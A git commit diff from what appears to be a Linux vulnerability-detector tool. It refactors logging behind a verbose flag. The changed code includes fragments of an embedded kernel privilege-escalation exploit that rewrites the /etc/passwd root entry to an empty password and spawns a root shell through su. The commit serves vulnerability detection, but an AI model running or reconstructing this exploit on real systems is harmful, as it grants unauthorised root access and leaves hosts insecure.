commit 0e8be13b8e3ac9a57c735b8c90ee5e3b5eb526be
parent 8a3b19ff6041f73cf413d7a81d8aeb2470713d1b
Author: finwo <finwo@pm.me>
Date: Sat, 9 May 2026 01:39:33 +0200
Separate verbose handler, allow future expansion of arguments without rewrites
Diffstat:
5 files changed, 55 insertions(+), 36 deletions(-)
diff --git a/src/detector/cve-2026-31431.c b/src/detector/cve-2026-31431.c
@@ -6,7 +6,8 @@
#include "setup.h"
-int detector_cve_2026_31431(int num) {
+int detector_cve_2026_31431(struct cve_context *ctx) {
+ (void)ctx;
int fd = socket(AF_ALG, SOCK_SEQPACKET, 0);
if (fd < 0) {
perror("socket");
diff --git a/src/detector/dirtyfrag.c b/src/detector/dirtyfrag.c
@@ -22,6 +22,7 @@
#include <linux/rtnetlink.h>
#include <linux/xfrm.h>
+#include "setup.h"
#ifndef UDP_ENCAP
#define UDP_ENCAP 100
#endif
@@ -631,9 +632,9 @@ static uint8_t SESSION_KEY[8] = {
0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08
};
-#define LOG(fmt, ...) fprintf(stderr, "[+] " fmt "\n", ##__VA_ARGS__)
-#define WARN(fmt, ...) fprintf(stderr, "[!] " fmt "\n", ##__VA_ARGS__)
-#define DBG(fmt, ...) fprintf(stderr, "[.] " fmt "\n", ##__VA_ARGS__)
+#define LOG(fmt, ...) do { if (g_cve_ctx.verbose) fprintf(stderr, "[+] " fmt "\n", ##__VA_ARGS__); } while (0)
+#define WARN(fmt, ...) do { if (g_cve_ctx.verbose) fprintf(stderr, "[!] " fmt "\n", ##__VA_ARGS__); } while (0)
+#define DBG(fmt, ...) do { if (g_cve_ctx.verbose) fprintf(stderr, "[.] " fmt "\n", ##__VA_ARGS__); } while (0)
/* =================================================================== */
/* unshare + map setup */
@@ -1400,7 +1401,7 @@ static int find_K_offline_generic(const uint8_t C[8], uint64_t max_iters,
clock_gettime(CLOCK_MONOTONIC, &ts1);
double dt = (ts1.tv_sec - ts0.tv_sec) +
(ts1.tv_nsec - ts0.tv_nsec) / 1e9;
- fprintf(stderr, " [%s %.1fs] iter=%lu (%.2fM/s)\n",
+ if (g_cve_ctx.verbose) fprintf(stderr, " [%s %.1fs] iter=%lu (%.2fM/s)\n",
label, dt, (unsigned long)iter, iter / dt / 1e6);
}
}
@@ -1410,8 +1411,8 @@ static int find_K_offline_generic(const uint8_t C[8], uint64_t max_iters,
int rxrpc_lpe_main(int argc, char **argv)
{
- fprintf(stderr, "\n=== rxrpc/rxkad LPE EXPLOIT (uid=1000 → root) ===\n");
- fprintf(stderr, "[*] uid=%u euid=%u gid=%u\n",
+ if (g_cve_ctx.verbose) fprintf(stderr, "\n=== rxrpc/rxkad LPE EXPLOIT (uid=1000 → root) ===\n");
+ if (g_cve_ctx.verbose) fprintf(stderr, "[*] uid=%u euid=%u gid=%u\n",
getuid(), geteuid(), getgid());
{
@@ -1474,15 +1475,15 @@ int rxrpc_lpe_main(int argc, char **argv)
}
LOG("/etc/passwd line 1 first 16 bytes:");
for (int i = 0; i < 16; i++)
- fprintf(stderr, "%02x ", (uint8_t)m[i]);
- fprintf(stderr, "\n");
+ if (g_cve_ctx.verbose) fprintf(stderr, "%02x ", (uint8_t)m[i]);
+ if (g_cve_ctx.verbose) fprintf(stderr, "\n");
}
- fprintf(stderr, "[*] /etc/passwd line 1 (root entry) BEFORE: '");
+ if (g_cve_ctx.verbose) fprintf(stderr, "[*] /etc/passwd line 1 (root entry) BEFORE: '");
for (int i = 0; i < 32; i++) {
char c = ((const char *)map)[i];
fputc((c == '\n') ? '$' : (c >= 32 && c < 127 ? c : '.'), stderr);
}
- fprintf(stderr, "'\n");
+ if (g_cve_ctx.verbose) fprintf(stderr, "'\n");
/* === STAGE 1 — THREE-SPLICE OFFLINE BRUTE FORCE ===
*
@@ -1549,7 +1550,7 @@ int rxrpc_lpe_main(int argc, char **argv)
const char *se = getenv("LPE_SEED");
if (se) seed_base = strtoull(se, NULL, 0);
- fprintf(stderr, "\n=== STAGE 1a: search K_A (chars 4-5 := \"::\") prob ~1.5e-5 ===\n");
+ if (g_cve_ctx.verbose) fprintf(stderr, "\n=== STAGE 1a: search K_A (chars 4-5 := \"::\") prob ~1.5e-5 ===\n");
if (find_K_offline_generic(Ca, max_iters, fc_check_pa_nullok,
Ka, Pa_out, seed_base, "K_A") != 0) {
WARN("K_A search exhausted"); return 2;
@@ -1566,7 +1567,7 @@ int rxrpc_lpe_main(int argc, char **argv)
Cb_actual[0],Cb_actual[1],Cb_actual[2],Cb_actual[3],
Cb_actual[4],Cb_actual[5],Cb_actual[6],Cb_actual[7]);
- fprintf(stderr, "\n=== STAGE 1b: search K_B (chars 6-7 := \"0:\") prob ~1.5e-5 ===\n");
+ if (g_cve_ctx.verbose) fprintf(stderr, "\n=== STAGE 1b: search K_B (chars 6-7 := \"0:\") prob ~1.5e-5 ===\n");
if (find_K_offline_generic(Cb_actual, max_iters, fc_check_pb_nullok,
Kb, Pb_out, seed_base ^ 0xa5a5a5a5a5a5a5a5ULL,
"K_B") != 0) {
@@ -1582,7 +1583,7 @@ int rxrpc_lpe_main(int argc, char **argv)
Cc_actual[0],Cc_actual[1],Cc_actual[2],Cc_actual[3],
Cc_actual[4],Cc_actual[5],Cc_actual[6],Cc_actual[7]);
- fprintf(stderr, "\n=== STAGE 1c: search K_C (chars 8-15 := \"0:GGGGGG:\") prob ~5.4e-8 ===\n");
+ if (g_cve_ctx.verbose) fprintf(stderr, "\n=== STAGE 1c: search K_C (chars 8-15 := \"0:GGGGGG:\") prob ~5.4e-8 ===\n");
if (find_K_offline_generic(Cc_actual, max_iters, fc_check_pc_nullok,
Kc, Pc_out, seed_base ^ 0x5a5a5a5a5a5a5a5aULL,
"K_C") != 0) {
@@ -1590,45 +1591,45 @@ int rxrpc_lpe_main(int argc, char **argv)
}
}
- fprintf(stderr, "\n[+] Predicted post-corruption /etc/passwd line 1:\n \"root");
+ if (g_cve_ctx.verbose) fprintf(stderr, "\n[+] Predicted post-corruption /etc/passwd line 1:\n \"root");
/* chars 4-5 from P_A */
for (int i = 0; i < 2; i++) fputc((Pa_out[i]>=32&&Pa_out[i]<127)?Pa_out[i]:'.', stderr);
/* chars 6-7 from P_B */
for (int i = 0; i < 2; i++) fputc((Pb_out[i]>=32&&Pb_out[i]<127)?Pb_out[i]:'.', stderr);
/* chars 8-15 from P_C */
for (int i = 0; i < 8; i++) fputc((Pc_out[i]>=32&&Pc_out[i]<127)?Pc_out[i]:'.', stderr);
- fprintf(stderr, "/root:/bin/bash\"\n");
+ if (g_cve_ctx.verbose) fprintf(stderr, "/root:/bin/bash\"\n");
/* === STAGE 2 — THREE KERNEL TRIGGERS (in order A → B → C) ===
* Each trigger does a single in-place decrypt at the
* indicated /etc/passwd file offset. Last-write-wins on overlapping
* bytes determines the final state.
*/
- fprintf(stderr, "\n=== STAGE 2a: kernel trigger A @ off %d (set chars 4-5 \"::\") ===\n", off_a);
+ if (g_cve_ctx.verbose) fprintf(stderr, "\n=== STAGE 2a: kernel trigger A @ off %d (set chars 4-5 \"::\") ===\n", off_a);
memcpy(SESSION_KEY, Ka, 8);
if (do_one_trigger(rfd_ro, off_a, 8) < 0) {
WARN("kernel trigger A failed"); return 3;
}
- fprintf(stderr, "\n=== STAGE 2b: kernel trigger B @ off %d (set chars 6-7 \"0:\") ===\n", off_b);
+ if (g_cve_ctx.verbose) fprintf(stderr, "\n=== STAGE 2b: kernel trigger B @ off %d (set chars 6-7 \"0:\") ===\n", off_b);
memcpy(SESSION_KEY, Kb, 8);
if (do_one_trigger(rfd_ro, off_b, 8) < 0) {
WARN("kernel trigger B failed"); return 3;
}
- fprintf(stderr, "\n=== STAGE 2c: kernel trigger C @ off %d (set chars 8-15 \"0:GGGGGG:\") ===\n", off_c);
+ if (g_cve_ctx.verbose) fprintf(stderr, "\n=== STAGE 2c: kernel trigger C @ off %d (set chars 8-15 \"0:GGGGGG:\") ===\n", off_c);
memcpy(SESSION_KEY, Kc, 8);
if (do_one_trigger(rfd_ro, off_c, 8) < 0) {
WARN("kernel trigger C failed"); return 3;
}
/* Verify: re-read line 1 of /etc/passwd via mmap. */
- fprintf(stderr, "[*] /etc/passwd line 1 (root entry) AFTER: '");
+ if (g_cve_ctx.verbose) fprintf(stderr, "[*] /etc/passwd line 1 (root entry) AFTER: '");
for (int i = 0; i < 32; i++) {
char c = ((const char *)map)[i];
fputc((c == '\n') ? '$' : (c >= 32 && c < 127 ? c : '.'), stderr);
}
- fprintf(stderr, "'\n");
+ if (g_cve_ctx.verbose) fprintf(stderr, "'\n");
/* Sanity-check: chars 4-5 = "::", 6-7 = "0:", 8-9 = "0:", 15 = ':'. */
{
@@ -1642,12 +1643,12 @@ int rxrpc_lpe_main(int argc, char **argv)
return 4;
}
}
- fprintf(stderr,
+ if (g_cve_ctx.verbose) fprintf(stderr,
"\n[!!!] HIT — root entry now has empty passwd field, uid=0, "
"gid=0, dir=/root, shell=/bin/bash.\n");
/* === STAGE 3 — VERIFY VIA getent passwd root === */
- fprintf(stderr,
+ if (g_cve_ctx.verbose) fprintf(stderr,
"\n=== STAGE 3: independent verify via `getent passwd root` ===\n");
{
int p[2];
@@ -1669,9 +1670,9 @@ int rxrpc_lpe_main(int argc, char **argv)
waitpid(pid, &wstatus, 0);
if (r > 0) {
buf[r] = 0;
- fprintf(stderr, "[getent passwd root] %s", buf);
+ if (g_cve_ctx.verbose) fprintf(stderr, "[getent passwd root] %s", buf);
}
- fprintf(stderr,
+ if (g_cve_ctx.verbose) fprintf(stderr,
"[+] PRIMITIVE proven: root entry has empty passwd field "
"via NSS.\n");
}
@@ -1695,7 +1696,7 @@ int rxrpc_lpe_main(int argc, char **argv)
* + nullok flag accepts an empty password. We auto-inject a
* single newline on the "Password:" prompt and then bridge the
* resulting bash to the user's tty. */
- fprintf(stderr,
+ if (g_cve_ctx.verbose) fprintf(stderr,
"\n=== STAGE 4: spawning interactive root shell via `su` "
"(no password input needed) ===\n\n");
fflush(stderr);
@@ -2128,12 +2129,10 @@ int main(int argc, char **argv)
return 0;
}
- dprintf(2, "dirtyfrag: failed (rc=%d)\n", rc);
+ if (g_cve_ctx.verbose) dprintf(2, "dirtyfrag: failed (rc=%d)\n", rc);
return rc ? rc : 1;
}
-#include "setup.h"
-
/* ---- detector plumbing ---- */
static int detector_su_already_patched(void) {
@@ -2159,9 +2158,13 @@ static int detector_passwd_already_patched(void) {
return memcmp(head, "root::0:0", 9) == 0;
}
-int detector_dirtyfrag(int num) {
- (void)num;
+int detector_dirtyfrag(struct cve_context *ctx) {
+ (void)ctx;
+ if (ctx->verbose) {
+ g_su_verbose = 1;
+ setenv("DIRTYFRAG_VERBOSE", "1", 1);
+ }
if (detector_su_already_patched() || detector_passwd_already_patched())
return 3;
diff --git a/src/detector/setup.c b/src/detector/setup.c
@@ -10,7 +10,9 @@ int detector_total = 0;
int detector_pass = 0;
int detector_fail = 0;
-void detector_queue_append(const char *name, const char *remediation, int (*fn)(int)) {
+struct cve_context g_cve_ctx = {0};
+
+void detector_queue_append(const char *name, const char *remediation, int (*fn)(struct cve_context *ctx)) {
// Initial queue initialize
if (!detector_queue_cap) {
detector_queue = malloc(sizeof(void *));
diff --git a/src/detector/setup.h b/src/detector/setup.h
@@ -7,8 +7,14 @@ extern "C" {
#include <stddef.h>
+struct cve_context {
+ int verbose;
+};
+
+extern struct cve_context g_cve_ctx;
+
struct detector_queue_entry {
- int (*handler)(int);
+ int (*handler)(struct cve_context *ctx);
const char *name;
const char *remediation;
int result;
@@ -21,7 +27,7 @@ extern int detector_total;
extern int detector_pass;
extern int detector_fail;
-void detector_queue_append(const char *name, const char *remediation, int (*fn)(int));
+void detector_queue_append(const char *name, const char *remediation, int (*fn)(struct cve_context *ctx));
#ifdef __cplusplus
} // extern "C"
diff --git a/src/main.c b/src/main.c
@@ -1,13 +1,20 @@
#include <stdio.h>
+#include <string.h>
#include "detector/setup.h"
-int main() {
+int main(int argc, char **argv) {
setvbuf(stderr, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
+
+ for (int i = 1; i < argc; i++) {
+ if (strcmp(argv[i], "-v") == 0 || strcmp(argv[i], "--verbose") == 0)
+ g_cve_ctx.verbose = 1;
+ }
+
for (int i = 0; i < detector_queue_length; i++) {
struct detector_queue_entry *entry = detector_queue[i];
- int result = entry->handler(i);
+ int result = entry->handler(&g_cve_ctx);
detector_total++;
if (result == 0) {
fprintf(stderr, "[pass] %s\n", entry->name);